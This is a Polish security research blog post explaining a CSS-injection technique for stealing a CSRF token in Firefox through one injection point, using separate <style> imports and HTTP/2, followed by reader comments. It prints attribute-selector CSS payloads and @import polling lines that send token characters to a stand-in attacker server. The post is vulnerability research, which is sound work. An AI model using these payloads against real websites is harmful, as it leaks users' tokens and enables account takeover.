Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book

Eksfiltracja danych w Firefoksie za pomocą CSS-ów i jednego punktu wstrzyknięcia

21 lutego 2020, 15:59 | Teksty | komentarzy 5
The article is also written in English on Securitum Research Blog.

Kilka miesięcy temu zgłosiłem błąd bezpieczeństwa w Firefoksie związany z przetwarzaniem CSS-ów, który dostał identyfikator CVE-2019-17016. W trakcie pracy nad tym błędem, udało mi się wymyślić nową technikę eksfiltracji danych w Firefoksie przez jeden punkt wstrzyknięcia, którym podzielę się w tym poście.

Podstawy

O podstawach wykradania danych za pomocą CSS-ów pisałem już w 2017 roku na Sekuraku w tekście pt. Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację. Tutaj powtórzę podstawy oraz opowiem o jednej nowej technice, jaka została wymyślona już po napisaniu tamtego tekstu.

Założenie jest takie, że chcemy wykraść z aplikacji token CSRF z elementu <input>;

<input type="hidden" name="csrftoken" value="JAKAŚ_WARTOŚĆ">

Nie możemy używać skryptów (np. ze względu na politykę CSP), więc rozwiązaniem jest wstrzknięcie własnego stylu. Klasycznym sposobem jest użycie selektorów do atrybutów, np.

input[name='csrftoken'][value^='a'] {
  background: url(//ATTACKER-SERVER/leak/a);
}

input[name='csrftoken'][value^='b'] {
  background: url(//ATTACKER-SERVER/leak/b);
}

...

input[name='csrftoken'][value^='z'] {
  background: url(//ATTACKER-SERVER/leak/z);
}

Jeżeli dana reguła CSS zostanie zastosowana, wówczas na serwer napastnika przyjdzie zapytanie HTTP, w którym wycieka pierwszy znak tokenu. Następnie trzeba załadować kolejny styl, który będzie już zawierał ten pierwszy znany znak i próbować wyciągnąć kolejny, np.

input[name='csrftoken'][value^='aa'] {
  background: url(//ATTACKER-SERVER/leak/aa);
}

input[name='csrftoken'][value^='ab'] {
  background: url(//ATTACKER-SERVER/leak/ab);
}

...

input[name='csrftoken'][value^='az'] {
  background: url(//ATTACKER-SERVER/leak/az);
}

Zazwyczaj przyjmowano, że ładowanie kolejnych styli odbywa się przez przeładowanie strony umieszczonej w elemencie <iframe>.

Dopiero w 2018 roku Pele Vila miał świetny pomysł, w jaki sposób można wyciągnąć cały token w Chromie nie przeładowując strony, a wykorzystać tylko jeden punkt wstrzyknięcia i rekurencyjny import CSS-ów. Ta sama sztuczka została niezależnie odkryta w 2019 roku przez Nathaniala Lattimera (znanego jako @d0nutptr), choć z nieco innymi szczegółami. Poniżej podsumuję podejście Lattimera, bo jest bliższe temu co wymyśliłem w Firefoksie, pomimo faktu, że (co jest dość zabawne) nie słyszałem o badaniach Lattimera, gdy robiłem swoje własne. Więc w pewnym sensie dokonałem ponownego niezależnego odkrycia niezależnego odkrycia… ;)

W skrócie, pierwsze wstrzyknięcie to lista importów:

@import url(//ATTACKER-SERVER/polling?len=0);
@import url(//ATTACKER-SERVER/polling?len=1);
@import url(//ATTACKER-SERVER/polling?len=2);
...

I dalsze podejście jest następujące:

  • Na początku, tylko pierwszy import zwraca styl; pozostałe blokują połączenie;
  • Pierwszy import zwraca styl, który powoduje wyciek pierwszego znaku tokena,
  • Gdy wyciek z pierwszym znakiem tokena dociera do serwera napastnika, drugi import przestaje blokować połączenie i zwraca styl, który uwzględnia już pierwszy wykradziony znak i następuje wyciek drugiego znaku,
  • Gdy wyciek z drugim znakiem tokena dociera do serwera napastnika, trzeci import przestaje blokować połączenie… i tak dalej.

Ta technika działa w Chromie, ponieważ ta przeglądarka przetwarza importy asynchronicznie, więc jeśli któryś z nich przestaje blokować połączenie, Chrome natychmiast go przetwarza i stosuje.

Przetwarzanie CSS-ów w Firefoksie

Metoda z poprzedniego akapitu nie działa niestety w Firefoksie, ze względu na istotne różnice w przetwarzaniu styli w porównaniu do Chrome’a. Pokażę te różnice na kilku prostych przykładach.

Przede wszystkim, Firefox przetwarza style synchronicznie. Jeśli więc w stylu znajduje się kilka importów, Firefox nie przetworzy żadnych reguł CSS-a, póki nie pobierze wszystkich importów. Rozważmy poniższy przykład:

<style>
@import '/polling/0';
@import '/polling/1';
@import '/polling/2';
</style>

Załóżmy, że pierwszy import zwraca regułę CSS, która ustawia tło strony na niebieskie, zaś pozostałe importy blokują połączenie (tj. nigdy nic nie zwracają, tylko pozostawiają otwarte połączenie HTTP). W Chromie, strona zmieni tło na niebieskie natychmiast, zaś w Firefoksie nie wydarzy się nic.

Problem można rozwiązać, umieszczając wszystkie importy w oddzielnych tagach <style>:

<style>@import '/polling/0';</style>
<style>@import '/polling/1';</style>
<style>@import '/polling/2';</style>

W powyższym przykładzie Firefox przetworzy wszystkie style osobno, więc strona natychmiast zmieni tło na niebieskie, zaś pozostałe importy będą czekały w kolejce.

Jednak tutaj pojawia się kolejny problem. Załóżmy, że chcemy wyciągnąć token, który ma 10 znaków:

<style>@import '/polling/0';</style>
<style>@import '/polling/1';</style>
<style>@import '/polling/2';</style>
...
<style>@import '/polling/10';</style>

Firefox zakolejkuje natychmiast 10 importów. Po przetworzeniu pierwszego importu, Firefox zakolejkuje kolejne zapytanie z wyciekiem pierwszego znaku tokena. Problem polega na tym, że to zapytanie zostanie umieszczone na końcu kolejki, a w przeglądarce zdefiniowany jest domyślny limit 6 równoległych połączeń do pojedynczego serwera. Zapytanie z wyciekiem znaku nigdy więc do serwera nie dotrze, jako że mamy 6 innych, blokujących połączeń!

Z pomocą: HTTP/2

Limit 6 połączeń dotyczy warstwy TCP; innymi słowy w danym momencie maksymalnie może być aktywnych 6 równoległych połączeń TCP do jednego serwera. Pomyślałem w tym momencie, że z pomocą może mi przyjść HTTP/2. Jednym z najczęściej wymienianych atutów tego standardu jest możliwość wysyłania wielu zapytań HTTP na jednym połączeniu (tzw. multiplexing), co ma bardzo dobry wpływ na wydajność.

Na Sekuraku pisaliśmy już ogólnie o HTTP/2; stosowny rozdział jest też w naszej książce.

Firefox ma też limit równoległych zapytań HTTP/2, jakie można wykonać na jednym połączeniu, ale domyślnie jest on bardzo duży, bo wynosi aż 100 (w about:config jest ustawienie network.http.spdy.default-concurrent). Jeśli potrzeba więcej, można zmusić Firefoksa do utworzenia drugiego połączenia TCP, poprzez odwołanie się do serwera z inną nazwą hosta. Na przykład jeśli wykonamy 100 zapytań do https://localhost:3000, a 50 zapytań do https://127.0.0.1:3000, to Firefox utworzy dwa połączenia TCP.

Exploit

Mamy już wszystko co potrzebne do przygotowania działającego exploita. Najważniejsze założenia:

  • Exploit będzie działał w oparciu o HTTP/2.
  • Zostanie zdefiniowany endpoint /polling/:session/:index, który zwróci CSS-a pozwalającego wykraść znak o indeksie :index. Zapytanie będzie zblokowane, dopóki nie zostanie wcześniej wydobytych index-1  znaków. Parametr :session jest tylko po to, by odróżnić od siebie kilka sesji eksfiltracji.
  • Endpoint /leak/:session/:value będzie użyty do wycieku wartości tokena. :value będzie całą wartością, nie tylko ostatnim wyekstrahowanym znakiem.
  • By zmusić Firefoksa do wykonania dwóch połączeń TCP, do jednego endpointu będę się odwoływał przez https://localhost:3000, a do drugiego przez https://127.0.0.1:3000.
  • Endpoint /generate  będzie używany do wygenerowania przykładowego kodu CSS.

Utworzyłem testową stronę, w której celem jest wykradzenie tokenu csrftoken poprzez eksfiltrację danych. Bezpośrednio można go załadować z tego miejsca.

Widok przykładowej strony do treningu eksfiltracji danych

Widok przykładowej strony do treningu eksfiltracji danych

Kod exploita zahostowałem na GitHubie, zaś poniżej umieszczam krótki filmik pokazujący, że kod działa.

Ciekawe jest to, że dzięki użyciu HTTP/2 exploit jest niesamowicie szybki; wydobycie całego tokenu trwa mniej niż trzy sekundy.

Podsumowanie

W tym tekście pokazałem, jak można wykorzystać CSS-y do wykradania tokenów w Firefoksie, mając tylko jeden punkt wstrzyknięcia bez potrzeby przeładowywania strony. Okazało się to możliwe, dzięki dwóm faktom:

  • Reguły @import musiały być oddzielane do różnych tagów <style>, żeby ładowanie późniejszych styli nie zostało zablokowane przez wcześniejsze,
  • By obejść limit równoległych połączeń TCP, exploit musi być serwowany po HTTP/2.

— Michał Bentkowski; prowadzi w Securitum szkolenia z bezpieczeństwa frontendu, na których są także prostsze tematy

Spodobał Ci się wpis? Podziel się nim ze znajomymi:



Komentarze

  1. pantrombka

    Brak komentarzy, ale artykuł klasa światowa.

    Odpowiedz
  2. Sławek

    Piszę się eksterminacja, macie błąd w title :)

    Odpowiedz
  3. kamilek

    Fajny artykuł. Ja kombinowałem z podmianą css na ff przez Content-type: multipart/x-mixed-replace ale cośtam nie szło, chyba już niewspierane.

    Odpowiedz
  4. Marcin

    Uczta dla oczu i kory mózgowej :)

    Odpowiedz
  5. oiboi

    propsy :)

    Odpowiedz

Odpowiedz